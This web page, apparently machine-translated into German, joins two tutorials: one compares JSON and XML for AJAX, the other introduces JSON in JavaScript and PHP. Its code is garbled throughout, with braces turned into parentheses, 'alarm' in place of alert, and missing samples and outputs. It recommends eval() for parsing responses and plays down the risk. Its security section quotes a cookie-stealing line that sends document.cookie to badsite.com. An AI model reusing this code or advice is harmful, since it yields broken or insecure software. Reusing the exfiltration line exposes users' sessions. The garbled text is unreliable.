          Ein weiterer zu berücksichtigender Aspekt ist die Menge der Ressourcen, die zur Generierung der Antwort verwendet werden. Wenn beim Empfang von Daten bereits „schwere“ Vorgänge ausgeführt werden, ist es für den Serverteil nicht schwierig, diese für eine Antwort zusätzlich in XML zu konvertieren. Wenn das Erstellen von XML der ressourcenintensivste Vorgang ist, ist es besser, JSON zu verwenden.

          Benutzerfreundlichkeit

          Auf der Clientseite ist die Verarbeitung von JSON-Daten als Antwort auf einen XMLHttpRequest äußerst einfach.

          Var person = eval(xhr.responseText); alarm(person.firstName);

          Mit regulärem eval() können Sie die Antwort in ein JavaScript-Objekt konvertieren. Sobald dieser Vorgang abgeschlossen ist, kann über die Eigenschaften des konvertierten Objekts auf die Daten zugegriffen werden. Dies ist der eleganteste Teil von JSON.

          Schauen wir uns nun XML an. Um den folgenden Codeausschnitt transparenter zu machen, habe ich sämtliche Fehlerprüfungen entfernt.

          "Vorname");

          Bei der Verarbeitung der vom Server empfangenen Daten ist es natürlich notwendig, den gesamten DOM-Baum zu durchsuchen. Dies ist ein sehr arbeitsintensiver Vorgang und fehleranfällig. Leider müssen wir uns im Browser mit dem DOM auseinandersetzen. Browser unterstützen keine Abfragesprache wie XPath zum Abrufen von Baumknoten in einem XML-Dokument. Die Unterstützung dieser Funktionen gilt bereits für XSLT, ist jedoch recht begrenzt ( Hinweis: im Browser) im Hinblick auf die Konvertierung von XML in Markup (z. B. HTML). Arbeitsgruppe für Webschnittstellen ( Web-API-Arbeitsgruppe) vom W3C arbeitet an einer Auswahlschnittstelle ( Selektoren-API), mit dem CSS-Selektoren angewendet werden können, wenn Knoten aus einem Document-Objekt ausgewählt werden. Mithilfe einer solchen Schnittstelle wäre es möglich, den obigen Beispielcode in xml.match("person.firstName") umzuwandeln, um das Element firstName zu erhalten. Für das XML-Dokument in diesem Beispiel ist das kein großer Erfolg, kann aber für die Arbeit mit stark verzweigten Dokumenten nützlich sein. Diese Schnittstelle ist noch nicht vollständig und es wird Jahre dauern, bis Browser sie unterstützen.

          Wenn ich mich zwischen XML und JSON entscheiden muss, bevorzuge ich im Allgemeinen JSON, da die clientseitige Verarbeitung einfacher zu implementieren ist.

          Erweiterbarkeit

          Erweiterbarkeit trägt dazu bei, die Anzahl der Kommunikationen zwischen dem Datenanbieter und dem Empfänger zu reduzieren. Im Kontext von AJAX-Anwendungen muss das clientseitige Skript ausreichend invariant gegenüber kompatiblen Datenänderungen sein.

          Die allgemeine Überzeugung ist, dass XML einfach aufgrund des Vorhandenseins des Buchstabens „X“ automatisch erweiterbar ist. Dies ist jedoch keine bedingungslose Regel (d. h. standardmäßiges Handeln). Die XML-Erweiterbarkeit basiert auf dem Prinzip, dass Sie zusätzliche Knoten in Ihrem XML definieren und dann die Regel „Überspringen, was nicht benötigt wird“ anwenden können (d. h. wenn Sie bei der XML-Verarbeitung auf ein unbekanntes Element oder Attribut stoßen, überspringen Sie es einfach).

          Um die Erweiterbarkeit voll auszunutzen, müssen Sie clientseitigen Code unter Berücksichtigung der Erweiterbarkeit schreiben. Das folgende Beispiel schlägt beispielsweise fehl, wenn Sie beispielsweise ein middleName-Element einfügen möchten.

          Var xml = xhr.responseXML; var elements = xml.getElementsByTagName("firstName"); var firstNameEl = elements[0]; var lastNameEl = firstNameEl.nextSibling;

          Wenn Sie ein Element direkt nach dem Element einfügen, wird in diesem Beispiel der zweite Vorname fälschlicherweise als Nachname interpretiert. Um gegenüber dieser Änderung unveränderlich zu sein, muss der Code neu geschrieben werden, um das Element explizit abzurufen oder nur dann auf nextSibling zuzugreifen, wenn ein untergeordnetes Element mit dem gewünschten tagName gefunden wird. Daher ist XML erweiterbar, solange Sie den Code unter Berücksichtigung zukünftiger Erweiterbarkeit schreiben. Alles ist extrem einfach.

          Kehren wir zu JSON zurück. Ich behaupte, dass es einfacher ist, JSON-Daten zu erweitern als XML. Dies erfordert zweifellos weniger Aufwand. Betrachten wir das Hinzufügen der Eigenschaft middleName zur JSON-Antwort. Um darauf zuzugreifen, müssen Sie es nur aufrufen.

          Alert(person.middleName);

          Dieser Code ändert sich nicht, wenn Sie Ihrer Antwort einen zweiten Vornamen hinzufügen. Doch was ist bei der Bearbeitung einer Person mit oder ohne Zweitnamen zu tun? Mit JSON ist das ganz einfach.

          if (person.middleName) ( // Verarbeitung)

          Mein Standpunkt ist, dass sowohl XML- als auch JSON-Daten erweitert werden können, wenn eine mögliche zukünftige Erweiterbarkeit berücksichtigt wird. Aber es ist einfacher, Daten mit JSON zu erweitern als mit XML. Sie müssen lediglich prüfen, ob die erforderliche Eigenschaft für das Objekt vorhanden ist, und entsprechend dem Ergebnis der Prüfung handeln.

          Eine weitere Möglichkeit, JSON-Daten zu erweitern, besteht darin, Funktionsaufrufe zusammen mit Datendeklarationen direkt in der Antwort zu verwenden.

          Alert("Hallo - ich bin eine Person"); (("Vorname" : "Subbu", "Nachname" : "Allamaraju"));

          Wenn Daten über eval() deklariert werden, ruft der Browser auch den Ausdruck „alert()“ auf. In diesem Fall können Sie sowohl Daten laden als auch Funktionen ausführen. Dieser Ansatz sollte mit großer Vorsicht verwendet werden, da er die Antwort mit Funktionsaufrufen überfrachtet und eine Verbindung zwischen Aufrufen und Daten herstellt. Einige Quellen diskutieren auch die potenziellen Sicherheitslücken dieses Ansatzes, auf die weiter unten näher eingegangen wird.

          Debugging und Fehlerkorrektur

          Dieser Aspekt gilt sowohl für die Serverseite Ihrer Anwendung als auch für die Clientseite. Auf dem Server müssen Sie sicherstellen, dass die Daten korrekt formatiert und korrekt sind. Es sollte einfach sein, Fehler in der Antwort auf der Clientseite zu beheben.

          Mit XML lässt sich relativ einfach überprüfen, ob die an den Client gesendeten Daten wohlgeformt und korrekt sind. Sie können ein Schema für Ihre Daten verwenden und es zur Validierung der Daten anwenden. Mit JSON wird diese Aufgabe manuell und erfordert die Überprüfung, ob das resultierende Objekt die richtigen Attribute aufweist.

          Auf Client-Seite ist es in beiden Fällen schwierig, Fehler zu erkennen. Bei XML kann der Browser es einfach nicht in ResponseXML konvertieren. Für kleine Mengen an JSON-Daten können Sie die FireBug-Erweiterung zum Debuggen und zur Fehlerkorrektur verwenden. Bei großen Datenmengen wird es jedoch etwas schwierig, die Fehlermeldung einer bestimmten Stelle im Code zuzuordnen.

          Sicherheit

          Dave Johnson weist in seinem Beitrag „JSON and the Golden Fleece“ darauf hin, dass JSON Sicherheitsprobleme verursachen kann. Der Kern des Hinweises besteht darin, dass Sie beliebigen Code ausführen, wenn Sie zulassen, dass Funktionsaufrufe zusammen mit Daten in JSON-Antworten eingefügt werden, und eval() zum Verarbeiten der Antwort verwenden, was möglicherweise bereits ein Sicherheitsrisiko birgt.

          Window.location = "http://badsite.com?" + document.cookie; Person: („Vorname“: „Subbu“, „Nachname“: „Allamaraju“)

          Wenn die Antwort im obigen Beispiel ausgeführt wird, sendet der Browser die Cookies des Benutzers an die Website des Drittanbieters. In diesem Fall herrscht jedoch einige Verwirrung bei der Definition einer Sicherheitsbedrohung. Sie sollten Daten oder Code, die von einer ungeprüften Quelle stammen, nicht vertrauen. Und zweitens können wir XMLHttpRequest nicht verwenden, um mit anderen Domänen als der Quelldomäne des Skripts zu kommunizieren. Daher können nur die Entwickler selbst beim Erstellen einer Anwendung das Senden von Cookies an eine Website eines Drittanbieters veranlassen. Dies ist ziemlich zweifelhaft, da sie diesen Schadcode genauso gut an einer beliebigen Stelle im Dokument platzieren könnten, außerhalb der vom Server gesendeten Datenantwort. Vielleicht übersehe ich etwas, aber ich sehe keinen Sinn darin, JSON im Vergleich zu XML als unsicher zu betrachten.

          Meine Wahl

          Für informationszentrierte Anwendungen würde ich JSON aufgrund seiner Einfachheit und einfachen Datenverarbeitung auf der Clientseite lieber als XML verwenden. XML mag auf dem Server unverzichtbar sein, aber auf dem Client ist es definitiv einfacher, mit JSON zu arbeiten.

          Sicher haben Sie schon einmal von JSON gehört. Was ist es? Was kann es und wie nutzt man es?

          In diesem Tutorial werden wir die Grundlagen von JSON behandeln und die folgenden Punkte behandeln:

          • Was ist JSON?
          • Wofür wird JSON verwendet?
          • Wie erstelle ich einen JSON-String?
          • Ein einfaches Beispiel für eine JSON-Zeichenfolge.
          • Vergleichen wir JSON und XML.
          • Wie arbeite ich mit JSON in JavaScript und PHP?
          Was ist JSON?

          JSON ist eine einfache, textbasierte Möglichkeit, strukturierte Daten zu speichern und zu übertragen. Mit einer einfachen Syntax können Sie alles von einer einzelnen Zahl bis hin zu Zeichenfolgen, Arrays und Objekten problemlos im Klartext speichern. Sie können auch Arrays und Objekte miteinander verknüpfen, um komplexe Datenstrukturen zu erstellen.

          Sobald die JSON-Zeichenfolge erstellt wurde, kann sie einfach an eine andere Anwendung oder an einen anderen Ort im Netzwerk gesendet werden, da es sich um einfachen Text handelt.

          JSON bietet folgende Vorteile:

          • Es ist kompakt.
          • Die Sätze sind sowohl für Menschen als auch für Computer leicht zu lesen und zu verfassen.
          • Es kann problemlos in eine Datenstruktur für die meisten Programmiersprachen (Zahlen, Zeichenfolgen, Boolesche Werte, Arrays usw.) konvertiert werden.
          • Viele Programmiersprachen verfügen über Funktionen und Bibliotheken zum Lesen und Erstellen von JSON-Strukturen.

          Der Name JSON steht für JavaScript Object Notation. Wie der Name schon sagt, basiert es auf einer Methode zum Definieren von Objekten (ähnlich wie beim Erstellen assoziativer Arrays in anderen Sprachen) und Arrays.

          Wofür wird JSON verwendet?

          Die häufigste Verwendung von JSON besteht darin, Daten vom Server an den Browser zu senden. In der Regel werden JSON-Daten mithilfe von AJAX bereitgestellt, sodass Browser und Server kommunizieren können, ohne dass die Seite neu geladen werden muss.

        • Der Benutzer klickt auf die Miniaturansicht eines Produkts in einem Online-Shop.
        • JavaScript, das im Browser ausgeführt wird, generiert eine AJAX-Anfrage an das PHP-Skript, das auf dem Server ausgeführt wird, und übergibt die ID des ausgewählten Produkts.
        • Das PHP-Skript holt den Produktnamen, die Beschreibung, den Preis und andere Informationen aus der Datenbank. Anschließend erstellt es aus den Daten einen JSON-String und sendet ihn an den Browser.
        • Im Browser ausgeführtes JavaScript empfängt den JSON-String, dekodiert ihn und zeigt dem Benutzer die Produktinformationen auf der Seite an.
        • Sie können JSON auch verwenden, um Daten vom Browser an den Server zu senden, indem Sie eine JSON-Zeichenfolge als Parameter an GET- oder POST-Anfragen übergeben. Diese Methode ist jedoch weniger verbreitet, da die Datenübertragung durch AJAX-Anfragen vereinfacht werden kann. Beispielsweise kann die Produkt-ID im Rahmen einer GET-Anfrage in die URL eingefügt werden.

          Die jQuery-Bibliothek verfügt über mehrere Methoden, wie z. B. getJSON() und parseJSON(), die das Abrufen von Daten mithilfe von JSON über AJAX-Anfragen vereinfachen.

          Wie erstelle ich einen JSON-String?

          Für die Erstellung eines JSON-Strings gibt es einige Grundregeln:

          • Der JSON-String enthält entweder ein Array von Werten oder ein Objekt (ein assoziatives Array von Name/Wert-Paaren).
          • Array wird in eckige Klammern ([ und ]) eingeschlossen und enthält eine durch Kommas getrennte Liste von Werten.
          • Ein Objekt wird in geschweifte Klammern (( und )) eingeschlossen und enthält eine durch Kommas getrennte Liste von Name/Wert-Paaren.
          • Name/Wert-Paar besteht aus dem in doppelte Anführungszeichen eingeschlossenen Feldnamen, gefolgt von einem Doppelpunkt (:) und dem Feldwert.
          • Bedeutung In einem Array oder Objekt kann es sein:
            • Zahl (Ganzzahl oder Gleitkomma)
            • String (in doppelten Anführungszeichen)
            • Boolescher Wert (wahr oder falsch)
            • Ein weiteres Array (in eckigen Klammern eingeschlossen)
            • Ein anderes Objekt (in geschweiften Klammern eingeschlossen)
            • Nullwert

          Um doppelte Anführungszeichen in eine Zeichenfolge einzufügen, müssen Sie einen Backslash verwenden: \" . Wie bei vielen Programmiersprachen können Sie Steuerzeichen und Hexadezimalcodes in eine Zeichenfolge einfügen, indem Sie ihnen einen Backslash voranstellen. Weitere Informationen finden Sie auf der JSON-Website.

          Einfaches JSON-String-Beispiel

          Nachfolgend finden Sie ein Beispiel für eine Bestellung im JSON-Format:

          ("orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email protected]", "contents": [ ("productID": 34, "productName": "Superprodukt", "quantity": 1 ), ("productID": 56, "productName": "Wunderprodukt", "quantity": 3 ) ], „orderCompleted“: true )

          Schauen wir uns die Zeile im Detail an:

          • Wir erstellen ein Objekt mit geschweiften Klammern (( und )).
          • Das Objekt verfügt über mehrere Name/Wert-Paare: „orderID“: 12345 Eine Eigenschaft mit dem Namen „orderId“ und einem ganzzahligen Wert. 12345 „shopperName“: „Vanya Ivanov“ eine Eigenschaft mit dem Namen „shopperName“ und dem Zeichenfolgenwert „Vanya Ivanov " "shopperEmail": " [email protected]„Eine Eigenschaft namens „shopperEmail“ mit einem Zeichenfolgenwert „ [email protected]„ „contents“: [ ... ] Eine Eigenschaft namens „contents“, deren Wert ein Array „orderCompleted“ ist: true Eine Eigenschaft namens „orderCompleted“ und der boolesche Wert true
          • Es gibt zwei Objekte im Array „contents“, die einzelne Elemente in der Bestellung darstellen. Jedes Objekt enthält drei Eigenschaften: ProductID, ProductName und Quantity.

          Da JSON übrigens auf der Deklaration von JavaScript-Objekten basiert, können Sie den obigen JSON-String schnell und einfach in ein JavaScript-Objekt umwandeln:

          var cart = ("orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email protected]", "contents": [ ("productID": 34, "productName": "Superprodukt", "quantity": 1 ), ("productID": 56, "productName": "Wunderprodukt", "quantity": 3 ) ], "orderCompleted": true );

          Vergleich von JSON und XML

          In vielerlei Hinsicht kann man sich JSON als Alternative zu XML vorstellen, zumindest im Webanwendungsbereich. Das Konzept von AJAX basierte ursprünglich auf der Verwendung von XML zur Datenübertragung zwischen dem Server und dem Browser. Doch in den letzten Jahren ist JSON für den Transport von AJAX-Daten immer beliebter geworden.

          Während XML eine bewährte Technologie ist, die in zahlreichen Anwendungen verwendet wird, hat JSON den Vorteil, dass es ein kompakteres und leichter erkennbares Datenformat ist.

          So würde das obige Beispielobjekt in XML aussehen:

          Bestell-ID 12345 Name des Käufers Vanya Ivanov E-Mail des Käufers [email protected] Inhalt Produkt-ID 34 Produktname Superprodukt Menge 1 Produkt-ID 56 Produktname Wunderprodukt Menge 3 orderCompleted true

          Die XML-Version ist deutlich größer. In Wirklichkeit ist es 1128 Zeichen lang, während die JSON-Version nur 323 Zeichen lang ist. Auch die XML-Version ist recht schwer zu verstehen.

          Das ist natürlich ein radikales Beispiel. Und es ist möglich, einen kompakteren XML-Datensatz zu erstellen. Aber selbst es wird deutlich länger sein als das JSON-Äquivalent.

          Arbeiten mit einem JSON-String in JavaScript

          JSON hat ein einfaches Format, aber das manuelle Erstellen einer JSON-Zeichenfolge ist ziemlich mühsam. Darüber hinaus müssen Sie häufig einen JSON-String nehmen und seinen Inhalt in eine Variable konvertieren, die im Code verwendet werden kann.

          Die meisten Programmiersprachen verfügen über Tools zum einfachen Konvertieren von Variablen in JSON-Strings und umgekehrt.

          Erstellen einer JSON-Zeichenfolge aus einer Variablen

          JavaScript verfügt über eine integrierte JSON.stringify()-Methode, die eine Variable entgegennimmt und einen JSON-String zurückgibt, der ihren Inhalt darstellt. Erstellen wir beispielsweise ein JavaScript-Objekt, das die Bestellinformationen aus unserem Beispiel enthält, und erstellen daraus dann einen JSON-String:

          var cart = ("orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email protected]", "contents": [ ("productID": 34, "productName": "Superprodukt", "quantity": 1 ), ("productID": 56, "productName": "Wunderprodukt", "quantity": 3 ) ], "orderCompleted": true ); Alert (JSON.stringify(cart));

          Dieser Code erzeugt:

          Beachten Sie, dass die Methode JSON.stringify() einen JSON-String ohne Leerzeichen zurückgibt. Es ist schwieriger zu lesen, aber kompakter für die Übertragung über das Netzwerk.

          Es gibt mehrere Möglichkeiten, einen JSON-String in JavaScript zu analysieren, aber die sicherste und zuverlässigste ist die Verwendung der integrierten Methode JSON.parse(). Es empfängt einen JSON-String und gibt ein JavaScript-Objekt oder -Array zurück, das die Daten enthält. Zum Beispiel:

          var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "Vanya Ivanov", \ "shopperEmail": " [email protected]", \ "contents": [ \ ( \ "productID": 34, \ "productName": "Superprodukt", \ "quantity": 1 \), \ ( \ "productID": 56, \ "productName": "Wundergüter", \"quantity": 3\ ) \ ], \"orderCompleted": true \ ) \"; var cart = JSON.parse(jsonString); Alert(cart.shopperEmail); Alert(cart.contents.productName);

          Wir haben eine jsonString-Variable erstellt, die den JSON-String unserer Beispielbestellung enthält. Anschließend übergeben wir diese Zeichenfolge an die Methode JSON.parse(), die ein Objekt mit den JSON-Daten erstellt und in der Variablen „cart“ speichert. Jetzt müssen Sie nur noch die Eigenschaften des ShopperEmail-Objekts und den Produktnamen des Contents-Arrays überprüfen.

          Als Ergebnis erhalten wir die folgende Ausgabe:

          In einer realen Anwendung würde Ihr JavaScript-Code den Auftrag als JSON-String in einer AJAX-Antwort vom Serverskript empfangen, den String an die JSON.parse()-Methode übergeben und die Daten dann verwenden, um ihn auf der Seite des Benutzers anzuzeigen.

          JSON.stringify() und JSON.parse() verfügen über weitere Funktionen, z. B. die Verwendung von Rückruffunktionen zur benutzerdefinierten Konvertierung bestimmter Daten. Solche Optionen sind sehr nützlich, um verschiedene Daten in richtige JavaScript-Objekte umzuwandeln.

          Arbeiten mit einem JSON-String in PHP

          PHP verfügt wie JavaScript über integrierte Funktionen zum Arbeiten mit JSON-Strings.

          Erstellen einer JSON-Zeichenfolge aus einer PHP-Variablen

          Die Funktion json_encode() nimmt eine PHP-Variable und gibt einen JSON-String zurück, der den Inhalt der Variablen darstellt. Hier ist unser Bestellbeispiel, geschrieben in PHP:

          Dieser Code gibt genau denselben JSON-String zurück wie im JavaScript-Beispiel:

          („orderID“:12345, „shopperName“: „Vanya Ivanov“, „shopperEmail“: [email protected]","contents":[("productID":34,"productName":"Superprodukt","quantity":1),("productID":56,"productName":"Wunderprodukt","quantity": 3)],"orderCompleted":true)

          In einer realen Anwendung sendet Ihr PHP-Skript diesen JSON-String als Teil einer AJAX-Antwort an den Browser, wo der JavaScript-Code ihn mithilfe der JSON.parse()-Methode wieder in eine Variable zur Anzeige auf der Seite des Benutzers analysiert .

          Sie können verschiedene Flags als zweites Argument an die Funktion json_encode() übergeben. Mit ihrer Hilfe können Sie die Prinzipien der Kodierung des Inhalts von Variablen in einen JSON-String ändern.

          Erstellen Sie eine Variable aus einem JSON-String

          Um einen JSON-String in eine PHP-Variable zu konvertieren, verwenden Sie die Methode json_decode(). Ersetzen wir unser Beispiel für JavaScript durch die Methode JSON.parse() mit PHP-Code:

          Wie bei JavaScript erzeugt dieser Code Folgendes:

          [email protected] Wunderprodukt

          Standardmäßig gibt die Funktion json_decode() JSON-Objekte als PHP-Objekte zurück. Es gibt generische PHP-Objekte der Klasse stdClass. Deshalb verwenden wir ->, um auf die Eigenschaften des Objekts im obigen Beispiel zuzugreifen.

          Wenn Sie ein JSON-Objekt als zugehöriges PHP-Array benötigen, müssen Sie true als zweites Argument an die Funktion json_decode() übergeben. Zum Beispiel:

          $cart = json_decode($jsonString, true); echo $cart["shopperEmail"] . "
          "; echo $cart["contents"]["productName"] . "
          ";

          Dieser Code erzeugt die gleiche Ausgabe:

          [email protected] Wunderprodukt

          Sie können der Funktion json_decode() auch andere Argumente übergeben, um die Rekursionstiefe und den Umgang mit großen Ganzzahlen anzugeben.

          Abschluss

          Obwohl JSON leicht zu verstehen und zu verwenden ist, ist es ein sehr nützliches und flexibles Werkzeug zum Übertragen von Daten zwischen Anwendungen und Computern, insbesondere bei Verwendung von AJAX. Wenn Sie planen, eine AJAX-Anwendung zu entwickeln, besteht kein Zweifel daran, dass JSON zu einem unverzichtbaren Werkzeug in Ihrer Werkstatt wird.



  • Freunden erzählen